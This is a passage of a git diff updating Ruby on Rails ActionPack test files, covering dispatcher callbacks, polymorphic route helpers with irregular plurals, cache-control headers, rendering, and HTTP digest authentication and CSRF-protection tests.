@@ -67,7 +68,7 @@ class DispatcherTest < Test::Unit::TestCase
assert_nil a || b || c
# Run callbacks
- @dispatcher.send :run_callbacks, :prepare_dispatch
+ Dispatcher.run_prepare_callbacks
assert_equal 1, a
assert_equal 2, b
@@ -84,7 +85,7 @@ class DispatcherTest < Test::Unit::TestCase
Dispatcher.to_prepare(:unique_id) { |*args| a = b = 1 }
Dispatcher.to_prepare(:unique_id) { |*args| a = 2 }
- @dispatcher.send :run_callbacks, :prepare_dispatch
+ Dispatcher.run_prepare_callbacks
assert_equal 2, a
assert_equal nil, b
end
@@ -93,12 +94,10 @@ class DispatcherTest < Test::Unit::TestCase
def dispatch(cache_classes = true)
ActionController::Routing::RouteSet.any_instance.stubs(:call).returns([200, {}, 'response'])
Dispatcher.define_dispatcher_callbacks(cache_classes)
- @dispatcher.call({})
+ Dispatcher.new.call({})
end
def assert_subclasses(howmany, klass, message = klass.subclasses.inspect)
assert_equal howmany, klass.subclasses.size, message
end
end
-
-end
diff --git a/actionpack/test/controller/fake_models.rb b/actionpack/test/controller/fake_models.rb
index 7420579ed8..0b30c79b10 100644
--- a/actionpack/test/controller/fake_models.rb
+++ b/actionpack/test/controller/fake_models.rb
@@ -9,3 +9,11 @@ end
class GoodCustomer < Customer
end
+
+module Quiz
+ class Question < Struct.new(:name, :id)
+ def to_param
+ id.to_s
+ end
+ end
+end
diff --git a/actionpack/test/controller/html-scanner/document_test.rb b/actionpack/test/controller/html-scanner/document_test.rb
index 1c3facb9e3..c68f04fa75 100644
--- a/actionpack/test/controller/html-scanner/document_test.rb
+++ b/actionpack/test/controller/html-scanner/document_test.rb
@@ -134,7 +134,7 @@ HTML
end
def test_invalid_document_raises_exception_when_strict
- assert_raises RuntimeError do
+ assert_raise RuntimeError do
doc = HTML::Document.new("<html>
<table>
<tr>
diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb
index 59f7a403b5..00789eea38 100644
--- a/actionpack/test/controller/http_digest_authentication_test.rb
+++ b/actionpack/test/controller/http_digest_authentication_test.rb
@@ -5,7 +5,8 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
before_filter :authenticate, :only => :index
before_filter :authenticate_with_request, :only => :display
- USERS = { 'lifo' => 'world', 'pretty' => 'please' }
+ USERS = { 'lifo' => 'world', 'pretty' => 'please',
+ 'dhh' => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":"))}
def index
render :text => "Hello Secret"
@@ -107,21 +108,68 @@ class HttpDigestAuthenticationTest < ActionController::TestCase
assert_equal 'Definitely Maybe', @response.body
end
+ test "authentication request with valid credential and nil session" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+
+ # session_id = "" in functional test, but is +nil+ in real life
+ @request.session.session_id = nil
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with request-uri that doesn't match credentials digest-uri" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'pretty', :password => 'please')
+ @request.env['REQUEST_URI'] = "/http_digest_authentication_test/dummy_digest/altered/uri"
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "Authentication Failed", @response.body
+ end
+
+ test "authentication request with absolute uri" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:uri => "http://test.host/http_digest_authentication_test/dummy_digest/display",
+ :username => 'pretty', :password => 'please')
+ @request.env['REQUEST_URI'] = "http://test.host/http_digest_authentication_test/dummy_digest/display"
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ test "authentication request with password stored as ha1 digest hash" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials(:username => 'dhh',
+ :password => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":")),
+ :password_is_ha1 => true)
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
private
def encode_credentials(options)
- options.reverse_merge!(:nc => "00000001", :cnonce => "0a4f113b")
+ options.reverse_merge!(:nc => "00000001", :cnonce => "0a4f113b", :password_is_ha1 => false)
password = options.delete(:password)
- # Perform unautheticated get to retrieve digest parameters to use on subsequent request
+ # Set in /initializers/session_store.rb. Used as secret in generating nonce
+ # to prevent tampering of timestamp
+ ActionController::Base.session_options[:secret] = "session_options_secret"
+
+ # Perform unauthenticated GET to retrieve digest parameters to use on subsequent request
get :index
assert_response :unauthorized
credentials = decode_credentials(@response.headers['WWW-Authenticate'])
credentials.merge!(options)
- credentials.merge!(:uri => "http://#{@request.host}#{@request.env['REQUEST_URI']}")
- ActionController::HttpAuthentication::Digest.encode_credentials("GET", credentials, password)
+ credentials.reverse_merge!(:uri => "#{@request.env['REQUEST_URI']}")
+ ActionController::HttpAuthentication::Digest.encode_credentials("GET", credentials, password, options[:password_is_ha1])
end
def decode_credentials(header)
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index 4f07cbee47..e39a934c24 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -1,10 +1,8 @@
require 'abstract_unit'
-uses_mocha 'integration' do
-
class SessionTest < Test::Unit::TestCase
StubApp = lambda { |env|
- [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, "Hello, World!"]
+ [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, ["Hello, World!"]]
}
def setup
@@ -266,6 +264,7 @@ class IntegrationProcessTest < ActionController::IntegrationTest
assert_response :success
assert_response :ok
assert_equal({}, cookies)
+ assert_equal "OK", body
assert_equal "OK", response.body
assert_kind_of HTML::Document, html_document
assert_equal 1, request_count
@@ -281,6 +280,7 @@ class IntegrationProcessTest < ActionController::IntegrationTest
assert_response :success
assert_response :created
assert_equal({}, cookies)
+ assert_equal "Created", body
assert_equal "Created", response.body
assert_kind_of HTML::Document, html_document
assert_equal 1, request_count
@@ -296,7 +296,7 @@ class IntegrationProcessTest < ActionController::IntegrationTest
assert_equal "Gone", status_message
assert_response 410
assert_response :gone
- assert_equal ["cookie_1=; path=/", "cookie_3=chocolate; path=/"], headers["Set-Cookie"]
+ assert_equal "cookie_1=; path=/\ncookie_3=chocolate; path=/", headers["Set-Cookie"]
assert_equal({"cookie_1"=>"", "cookie_2"=>"oatmeal", "cookie_3"=>"chocolate"}, cookies)
assert_equal "Gone", response.body
end
@@ -360,6 +360,18 @@ class IntegrationProcessTest < ActionController::IntegrationTest
end
end
+ def test_head
+ with_test_route_set do
+ head '/get'
+ assert_equal 200, status
+ assert_equal "", body
+
+ head '/post'
+ assert_equal 201, status
+ assert_equal "", body
+ end
+ end
+
private
def with_test_route_set
with_routing do |set|
@@ -377,9 +389,9 @@ class MetalTest < ActionController::IntegrationTest
class Poller
def self.call(env)
if env["PATH_INFO"] =~ /^\/success/
- [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, "Hello World!"]
+ [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, ["Hello World!"]]
else
- [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, '']
+ [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []]
end
end
end
@@ -403,5 +415,3 @@ class MetalTest < ActionController::IntegrationTest
assert_equal '', response.body
end
end
-
-end
diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb
index 09283eddc9..f2721e274d 100644
--- a/actionpack/test/controller/layout_test.rb
+++ b/actionpack/test/controller/layout_test.rb
@@ -80,10 +80,21 @@ end
class DefaultLayoutController < LayoutTest
end
+class AbsolutePathLayoutController < LayoutTest
+ layout File.expand_path(File.expand_path(__FILE__) + '/../../fixtures/layout_tests/layouts/layout_test.rhtml')
+end
+
class HasOwnLayoutController < LayoutTest
layout 'item'
end
+class PrependsViewPathController < LayoutTest
+ def hello
+ prepend_view_path File.dirname(__FILE__) + '/../fixtures/layout_tests/alt/'
+ render :layout => 'alt'
+ end
+end
+
class OnlyLayoutController < LayoutTest
layout 'item', :only => "hello"
end
@@ -163,6 +174,20 @@ class LayoutSetInResponseTest < ActionController::TestCase
ensure
ActionController::Base.exempt_from_layout.delete(/\.rhtml$/)
end
+
+ def test_layout_is_picked_from_the_controller_instances_view_path
+ pending do
+ @controller = PrependsViewPathController.new
+ get :hello
+ assert_equal 'layouts/alt', @response.layout
+ end
+ end
+
+ def test_absolute_pathed_layout
+ @controller = AbsolutePathLayoutController.new
+ get :hello
+ assert_equal "layout_test.rhtml hello.rhtml", @response.body.strip
+ end
end
class RenderWithTemplateOptionController < LayoutTest
diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb
index f40a2e04d6..1c81989d9b 100644
--- a/actionpack/test/controller/mime_responds_test.rb
+++ b/actionpack/test/controller/mime_responds_test.rb
@@ -471,7 +471,7 @@ class MimeControllerTest < ActionController::TestCase
assert_equal '<html><div id="html_missing">Hello future from Firefox!</div></html>', @response.body
@request.accept = "text/iphone"
- assert_raises(ActionView::MissingTemplate) { get :iphone_with_html_response_type_without_layout }
+ assert_raise(ActionView::MissingTemplate) { get :iphone_with_html_response_type_without_layout }
end
end
diff --git a/actionpack/test/controller/polymorphic_routes_test.rb b/actionpack/test/controller/polymorphic_routes_test.rb
index 09c7f74617..146d703619 100644
--- a/actionpack/test/controller/polymorphic_routes_test.rb
+++ b/actionpack/test/controller/polymorphic_routes_test.rb
@@ -18,193 +18,276 @@ class Tag < Article
def response_id; 1 end
end
+class Tax
+ attr_reader :id
+ def save; @id = 1 end
+ def new_record?; @id.nil? end
+ def name
+ model = self.class.name.downcase
+ @id.nil? ? "new #{model}" : "#{model} ##{@id}"
+ end
+end
+
+class Fax < Tax
+ def store_id; 1 end
+end
+
# TODO: test nested models
class Response::Nested < Response; end
-uses_mocha 'polymorphic URL helpers' do
- class PolymorphicRoutesTest < ActiveSupport::TestCase
- include ActionController::PolymorphicRoutes
+class PolymorphicRoutesTest < ActiveSupport::TestCase
+ include ActionController::PolymorphicRoutes
- def setup
- @article = Article.new
- @response = Response.new
- end
-
- def test_with_record
- @article.save
- expects(:article_url).with(@article)
- polymorphic_url(@article)
- end
+ def setup
+ @article = Article.new
+ @response = Response.new
+ @tax = Tax.new
+ @fax = Fax.new
+ end
- def test_with_new_record
- expects(:articles_url).with()
- @article.expects(:new_record?).returns(true)
- polymorphic_url(@article)
- end
+ def test_with_record
+ @article.save
+ expects(:article_url).with(@article)
+ polymorphic_url(@article)
+ end
- def test_with_record_and_action
- expects(:new_article_url).with()
- @article.expects(:new_record?).never
- polymorphic_url(@article, :action => 'new')
- end
+ def test_with_new_record
+ expects(:articles_url).with()
+ @article.expects(:new_record?).returns(true)
+ polymorphic_url(@article)
+ end
- def test_url_helper_prefixed_with_new
- expects(:new_article_url).with()
- new_polymorphic_url(@article)
- end
+ def test_with_record_and_action
+ expects(:new_article_url).with()
+ @article.expects(:new_record?).never
+ polymorphic_url(@article, :action => 'new')
+ end
- def test_url_helper_prefixed_with_edit
- @article.save
- expects(:edit_article_url).with(@article)
- edit_polymorphic_url(@article)
- end
+ def test_url_helper_prefixed_with_new
+ expects(:new_article_url).with()
+ new_polymorphic_url(@article)
+ end
- def test_url_helper_prefixed_with_edit_with_url_options
- @article.save
- expects(:edit_article_url).with(@article, :param1 => '10')
- edit_polymorphic_url(@article, :param1 => '10')
- end
+ def test_url_helper_prefixed_with_edit
+ @article.save
+ expects(:edit_article_url).with(@article)
+ edit_polymorphic_url(@article)
+ end
- def test_url_helper_with_url_options
- @article.save
- expects(:article_url).with(@article, :param1 => '10')
- polymorphic_url(@article, :param1 => '10')
- end
+ def test_url_helper_prefixed_with_edit_with_url_options
+ @article.save
+ expects(:edit_article_url).with(@article, :param1 => '10')
+ edit_polymorphic_url(@article, :param1 => '10')
+ end
- def test_formatted_url_helper_is_deprecated
- expects(:articles_url).with(:format => :pdf)
- assert_deprecated do
- formatted_polymorphic_url([@article, :pdf])
- end
- end
+ def test_url_helper_with_url_options
+ @article.save
+ expects(:article_url).with(@article, :param1 => '10')
+ polymorphic_url(@article, :param1 => '10')
+ end
- def test_format_option
- @article.save
- expects(:article_url).with(@article, :format => :pdf)
- polymorphic_url(@article, :format => :pdf)
+ def test_formatted_url_helper_is_deprecated
+ expects(:articles_url).with(:format => :pdf)
+ assert_deprecated do
+ formatted_polymorphic_url([@article, :pdf])
end
+ end
- def test_format_option_with_url_options
- @article.save
- expects(:article_url).with(@article, :format => :pdf, :param1 => '10')
- polymorphic_url(@article, :format => :pdf, :param1 => '10')
- end
+ def test_format_option
+ @article.save
+ expects(:article_url).with(@article, :format => :pdf)
+ polymorphic_url(@article, :format => :pdf)
+ end
- def test_id_and_format_option
- @article.save
- expects(:article_url).with(:id => @article, :format => :pdf)
- polymorphic_url(:id => @article, :format => :pdf)
- end
+ def test_format_option_with_url_options
+ @article.save
+ expects(:article_url).with(@article, :format => :pdf, :param1 => '10')
+ polymorphic_url(@article, :format => :pdf, :param1 => '10')
+ end
- def test_with_nested
- @response.save
- expects(:article_response_url).with(@article, @response)
- polymorphic_url([@article, @response])
- end
+ def test_id_and_format_option
+ @article.save
+ expects(:article_url).with(:id => @article, :format => :pdf)
+ polymorphic_url(:id => @article, :format => :pdf)
+ end
- def test_with_nested_unsaved
- expects(:article_responses_url).with(@article)
- polymorphic_url([@article, @response])
- end
+ def test_with_nested
+ @response.save
+ expects(:article_response_url).with(@article, @response)
+ polymorphic_url([@article, @response])
+ end
- def test_new_with_array_and_namespace
- expects(:new_admin_article_url).with()
- polymorphic_url([:admin, @article], :action => 'new')
- end
+ def test_with_nested_unsaved
+ expects(:article_responses_url).with(@article)
+ polymorphic_url([@article, @response])
+ end
- def test_unsaved_with_array_and_namespace
- expects(:admin_articles_url).with()
- polymorphic_url([:admin, @article])
- end
+ def test_new_with_array_and_namespace
+ expects(:new_admin_article_url).with()
+ polymorphic_url([:admin, @article], :action => 'new')
+ end
- def test_nested_unsaved_with_array_and_namespace
- @article.save
- expects(:admin_article_url).with(@article)
- polymorphic_url([:admin, @article])
- expects(:admin_article_responses_url).with(@article)
- polymorphic_url([:admin, @article, @response])
- end
+ def test_unsaved_with_array_and_namespace
+ expects(:admin_articles_url).with()
+ polymorphic_url([:admin, @article])
+ end
- def test_nested_with_array_and_namespace
- @response.save
- expects(:admin_article_response_url).with(@article, @response)
- polymorphic_url([:admin, @article, @response])
+ def test_nested_unsaved_with_array_and_namespace
+ @article.save
+ expects(:admin_article_url).with(@article)
+ polymorphic_url([:admin, @article])
+ expects(:admin_article_responses_url).with(@article)
+ polymorphic_url([:admin, @article, @response])
+ end
- # a ridiculously long named route tests correct ordering of namespaces and nesting:
- @tag = Tag.new
- @tag.save
- expects(:site_admin_article_response_tag_url).with(@article, @response, @tag)
- polymorphic_url([:site, :admin, @article, @response, @tag])
- end
+ def test_nested_with_array_and_namespace
+ @response.save
+ expects(:admin_article_response_url).with(@article, @response)
+ polymorphic_url([:admin, @article, @response])
- def test_nesting_with_array_ending_in_singleton_resource
- expects(:article_response_url).with(@article)
- polymorphic_url([@article, :response])
- end
+ # a ridiculously long named route tests correct ordering of namespaces and nesting:
+ @tag = Tag.new
+ @tag.save
+ expects(:site_admin_article_response_tag_url).with(@article, @response, @tag)
+ polymorphic_url([:site, :admin, @article, @response, @tag])
+ end
- def test_nesting_with_array_containing_singleton_resource
- @tag = Tag.new
- @tag.save
- expects(:article_response_tag_url).with(@article, @tag)
- polymorphic_url([@article, :response, @tag])
- end
+ def test_nesting_with_array_ending_in_singleton_resource
+ expects(:article_response_url).with(@article)
+ polymorphic_url([@article, :response])
+ end
- def test_nesting_with_array_containing_namespace_and_singleton_resource
- @tag = Tag.new
- @tag.save
- expects(:admin_article_response_tag_url).with(@article, @tag)
- polymorphic_url([:admin, @article, :response, @tag])
- end
+ def test_nesting_with_array_containing_singleton_resource
+ @tag = Tag.new
+ @tag.save
+ expects(:article_response_tag_url).with(@article, @tag)
+ polymorphic_url([@article, :response, @tag])
+ end
- def test_nesting_with_array_containing_singleton_resource_and_format
- @tag = Tag.new
- @tag.save
- expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
- polymorphic_url([@article, :response, @tag], :format => :pdf)
- end
+ def test_nesting_with_array_containing_namespace_and_singleton_resource
+ @tag = Tag.new
+ @tag.save
+ expects(:admin_article_response_tag_url).with(@article, @tag)
+ polymorphic_url([:admin, @article, :response, @tag])
+ end
- def test_nesting_with_array_containing_singleton_resource_and_format_option
- @tag = Tag.new
- @tag.save
- expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
- polymorphic_url([@article, :response, @tag], :format => :pdf)
- end
+ def test_nesting_with_array_containing_singleton_resource_and_format
+ @tag = Tag.new
+ @tag.save
+ expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
+ polymorphic_url([@article, :response, @tag], :format => :pdf)
+ end
- def test_nesting_with_array_containing_nil
- expects(:article_response_url).with(@article)
- polymorphic_url([@article, nil, :response])
- end
+ def test_nesting_with_array_containing_singleton_resource_and_format_option
+ @tag = Tag.new
+ @tag.save
+ expects(:article_response_tag_url).with(@article, @tag, :format => :pdf)
+ polymorphic_url([@article, :response, @tag], :format => :pdf)
+ end
- def test_with_array_containing_single_object
- @article.save
- expects(:article_url).with(@article)
- polymorphic_url([nil, @article])
- end
+ def test_nesting_with_array_containing_nil
+ expects(:article_response_url).with(@article)
+ polymorphic_url([@article, nil, :response])
+ end
- def test_with_array_containing_single_name
- @article.save
- expects(:articles_url)
- polymorphic_url([:articles])
- end
+ def test_with_array_containing_single_object
+ @article.save
+ expects(:article_url).with(@article)
+ polymorphic_url([nil, @article])
+ end
- # TODO: Needs to be updated to correctly know about whether the object is in a hash or not
- def xtest_with_hash
- expects(:article_url).with(@article)
- @article.save
- polymorphic_url(:id => @article)
- end
+ def test_with_array_containing_single_name
+ @article.save
+ expects(:articles_url)
+ polymorphic_url([:articles])
+ end
- def test_polymorphic_path_accepts_options
- expects(:new_article_path).with()
- polymorphic_path(@article, :action => :new)
- end
+ # TODO: Needs to be updated to correctly know about whether the object is in a hash or not
+ def xtest_with_hash
+ expects(:article_url).with(@article)
+ @article.save
+ polymorphic_url(:id => @article)
+ end
+
+ def test_polymorphic_path_accepts_options
+ expects(:new_article_path).with()
+ polymorphic_path(@article, :action => :new)
+ end
- def test_polymorphic_path_does_not_modify_arguments
- expects(:admin_article_responses_url).with(@article)
- path = [:admin, @article, @response]
- assert_no_difference 'path.size' do
- polymorphic_url(path)
- end
+ def test_polymorphic_path_does_not_modify_arguments
+ expects(:admin_article_responses_url).with(@article)
+ path = [:admin, @article, @response]
+ assert_no_difference 'path.size' do
+ polymorphic_url(path)
end
end
+
+ # Tests for names where .plural.singular doesn't round-trip
+ def test_with_irregular_plural_record
+ @tax.save
+ expects(:taxis_url).with(@tax)
+ polymorphic_url(@tax)
+ end
+
+ def test_with_irregular_plural_new_record
+ expects(:taxes_url).with()
+ @tax.expects(:new_record?).returns(true)
+ polymorphic_url(@tax)
+ end
+
+ def test_with_irregular_plural_record_and_action
+ expects(:new_taxis_url).with()
+ @tax.expects(:new_record?).never
+ polymorphic_url(@tax, :action => 'new')
+ end
+
+ def test_irregular_plural_url_helper_prefixed_with_new
+ expects(:new_taxis_url).with()
+ new_polymorphic_url(@tax)
+ end
+
+ def test_irregular_plural_url_helper_prefixed_with_edit
+ @tax.save
+ expects(:edit_taxis_url).with(@tax)
+ edit_polymorphic_url(@tax)
+ end
+
+ def test_with_nested_irregular_plurals
+ @fax.save
+ expects(:taxis_faxis_url).with(@tax, @fax)
+ polymorphic_url([@tax, @fax])
+ end
+
+ def test_with_nested_unsaved_irregular_plurals
+ expects(:taxis_faxes_url).with(@tax)
+ polymorphic_url([@tax, @fax])
+ end
+
+ def test_new_with_irregular_plural_array_and_namespace
+ expects(:new_admin_taxis_url).with()
+ polymorphic_url([:admin, @tax], :action => 'new')
+ end
+
+ def test_unsaved_with_irregular_plural_array_and_namespace
+ expects(:admin_taxes_url).with()
+ polymorphic_url([:admin, @tax])
+ end
+
+ def test_nesting_with_irregular_plurals_and_array_ending_in_singleton_resource
+ expects(:taxis_faxis_url).with(@tax)
+ polymorphic_url([@tax, :faxis])
+ end
+
+ def test_with_array_containing_single_irregular_plural_object
+ @tax.save
+ expects(:taxis_url).with(@tax)
+ polymorphic_url([nil, @tax])
+ end
+
+ def test_with_array_containing_single_name_irregular_plural
+ @tax.save
+ expects(:taxes_url)
+ polymorphic_url([:taxes])
+ end
+
end
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
index 27cedc91d2..91e21db854 100644
--- a/actionpack/test/controller/redirect_test.rb
+++ b/actionpack/test/controller/redirect_test.rb
@@ -212,7 +212,7 @@ class RedirectTest < ActionController::TestCase
end
def test_redirect_to_back_with_no_referer
- assert_raises(ActionController::RedirectBackError) {
+ assert_raise(ActionController::RedirectBackError) {
@request.env["HTTP_REFERER"] = nil
get :redirect_to_back
}
@@ -239,7 +239,7 @@ class RedirectTest < ActionController::TestCase
end
def test_redirect_to_nil
- assert_raises(ActionController::ActionControllerError) do
+ assert_raise(ActionController::ActionControllerError) do
get :redirect_to_nil
end
end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index dde49cd136..9a34bcebe6 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -36,6 +36,39 @@ class TestController < ActionController::Base
render :action => 'hello_world'
end
end
+
+ def conditional_hello_with_public_header
+ if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+ render :action => 'hello_world'
+ end
+ end
+
+ def conditional_hello_with_public_header_and_expires_at
+ expires_in 1.minute
+ if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+ render :action => 'hello_world'
+ end
+ end
+
+ def conditional_hello_with_expires_in
+ expires_in 1.minute
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_public
+ expires_in 1.minute, :public => true
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_public_with_more_keys
+ expires_in 1.minute, :public => true, 'max-stale' => 5.hours
+ render :action => 'hello_world'
+ end
+
+ def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+ expires_in 1.minute, :public => true, :private => nil, 'max-stale' => 5.hours
+ render :action => 'hello_world'
+ end
def conditional_hello_with_bangs
render :action => 'hello_world'
@@ -124,6 +157,11 @@ class TestController < ActionController::Base
render :file => 'test/dot.directory/render_file_with_ivar'
end
+ def render_file_using_pathname
+ @secret = 'in the sauce'
+ render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar.erb')
+ end
+
def render_file_from_template
@secret = 'in the sauce'
@path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
@@ -642,6 +680,14 @@ class TestController < ActionController::Base
render :partial => "hash_object", :object => {:first_name => "Sam"}
end
+ def partial_with_nested_object
+ render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
+ end
+
+ def partial_with_nested_object_shorthand
+ render Quiz::Question.new("first")
+ end
+
def partial_hash_collection
render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
end
@@ -686,6 +732,8 @@ class TestController < ActionController::Base
"layouts/standard"
when "action_talk_to_layout", "layout_overriding_layout"
"layouts/talk_from_action"
+ when "render_implicit_html_template_from_xhr_request"
+ (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
end
end
end
@@ -805,6 +853,11 @@ class RenderTest < ActionController::TestCase
assert_equal "The secret is in the sauce\n", @response.body
end
+ def test_render_file_using_pathname
+ get :render_file_using_pathname
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
def test_render_file_with_locals
get :render_file_with_locals
assert_equal "The secret is in the sauce\n", @response.body
@@ -881,11 +934,11 @@ class RenderTest < ActionController::TestCase
end
def test_attempt_to_access_object_method
- assert_raises(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
+ assert_raise(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
end
def test_private_methods
- assert_raises(ActionController::UnknownAction, "No action responded to [determine_layout]") { get :determine_layout }
+ assert_raise(ActionController::UnknownAction, "No action responded to [determine_layout]") { get :determine_layout }
end
def test_access_to_request_in_view
@@ -1016,8 +1069,15 @@ class RenderTest < ActionController::TestCase
def test_should_implicitly_render_html_template_from_xhr_request
pending do
- get :render_implicit_html_template_from_xhr_request, :format => :js
- assert_equal "Hello HTML!", @response.body
+ xhr :get, :render_implicit_html_template_from_xhr_request
+ assert_equal "XHR!\nHello HTML!", @response.body
+ end
+ end
+
+ def test_should_implicitly_render_js_template_without_layout
+ pending do
+ get :render_implicit_js_template_without_layout, :format => :js
+ assert_no_match %r{<html>}, @response.body
end
end
@@ -1109,7 +1169,7 @@ class RenderTest < ActionController::TestCase
end
def test_bad_render_to_string_still_throws_exception
- assert_raises(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+ assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
end
def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
@@ -1134,15 +1194,15 @@ class RenderTest < ActionController::TestCase
end
def test_double_render
- assert_raises(ActionController::DoubleRenderError) { get :double_render }
+ assert_raise(ActionController::DoubleRenderError) { get :double_render }
end
def test_double_redirect
- assert_raises(ActionController::DoubleRenderError) { get :double_redirect }
+ assert_raise(ActionController::DoubleRenderError) { get :double_redirect }
end
def test_render_and_redirect
- assert_raises(ActionController::DoubleRenderError) { get :render_and_redirect }
+ assert_raise(ActionController::DoubleRenderError) { get :render_and_redirect }
end
# specify the one exception to double render rule - render_to_string followed by render
@@ -1423,6 +1483,16 @@ class RenderTest < ActionController::TestCase
assert_equal "Sam\nmaS\n", @response.body
end
+ def test_partial_with_nested_object
+ get :partial_with_nested_object
+ assert_equal "first", @response.body
+ end
+
+ def test_partial_with_nested_object_shorthand
+ get :partial_with_nested_object_shorthand
+ assert_equal "first", @response.body
+ end
+
def test_hash_partial_collection
get :partial_hash_collection
assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
@@ -1441,7 +1511,7 @@ class RenderTest < ActionController::TestCase
end
def test_render_missing_partial_template
- assert_raises(ActionView::MissingTemplate) do
+ assert_raise(ActionView::MissingTemplate) do
get :missing_partial
end
end
@@ -1457,6 +1527,35 @@ class RenderTest < ActionController::TestCase
end
end
+class ExpiresInRenderTest < ActionController::TestCase
+ tests TestController
+
+ def setup
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_expires_in_header
+ get :conditional_hello_with_expires_in
+ assert_equal "max-age=60, private", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_header_with_public
+ get :conditional_hello_with_expires_in_with_public
+ assert_equal "max-age=60, public", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_header_with_additional_headers
+ get :conditional_hello_with_expires_in_with_public_with_more_keys
+ assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
+ end
+
+ def test_expires_in_old_syntax
+ get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+ assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
+ end
+end
+
+
class EtagRenderTest < ActionController::TestCase
tests TestController
@@ -1547,6 +1646,16 @@ class EtagRenderTest < ActionController::TestCase
get :conditional_hello_with_bangs
assert_response :not_modified
end
+
+ def test_etag_with_public_true_should_set_header
+ get :conditional_hello_with_public_header
+ assert_equal "public", @response.headers['Cache-Control']
+ end
+
+ def test_etag_with_public_true_should_set_header_and_retain_other_headers
+ get :conditional_hello_with_public_header_and_expires_at
+ assert_equal "max-age=60, public", @response.headers['Cache-Control']
+ end
protected
def etag_for(text)
diff --git a/actionpack/test/controller/request/test_request_test.rb b/actionpack/test/controller/request/test_request_test.rb
new file mode 100644
index 0000000000..81551b4ba7
--- /dev/null
+++ b/actionpack/test/controller/request/test_request_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+require 'stringio'
+
+class ActionController::TestRequestTest < ActiveSupport::TestCase
+
+ def setup
+ @request = ActionController::TestRequest.new
+ end
+
+ def test_test_request_has_session_options_initialized
+ assert @request.session_options
+ end
+
+ Rack::Session::Abstract::ID::DEFAULT_OPTIONS.each_key do |option|
+ test "test_rack_default_session_options_#{option}_exists_in_session_options_and_is_default" do
+ assert_equal(Rack::Session::Abstract::ID::DEFAULT_OPTIONS[option],
+ @request.session_options[option],
+ "Missing rack session default option #{option} in request.session_options")
+ end
+ test "test_rack_default_session_options_#{option}_exists_in_session_options" do
+ assert(@request.session_options.has_key?(option),
+ "Missing rack session option #{option} in request.session_options")
+ end
+ end
+
+ def test_session_id_exists_by_default
+ assert_not_nil(@request.session_options[:id])
+ end
+
+ def test_session_id_different_on_each_call
+ prev_id =
+ assert_not_equal(@request.session_options[:id], ActionController::TestRequest.new.session_options[:id])
+ end
+
+end \ No newline at end of file
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index ef0bf5fd08..835e73e3ab 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -79,17 +79,17 @@ module RequestForgeryProtectionTests
def test_should_not_allow_html_post_without_token
@request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
- assert_raises(ActionController::InvalidAuthenticityToken) { post :index, :format => :html }
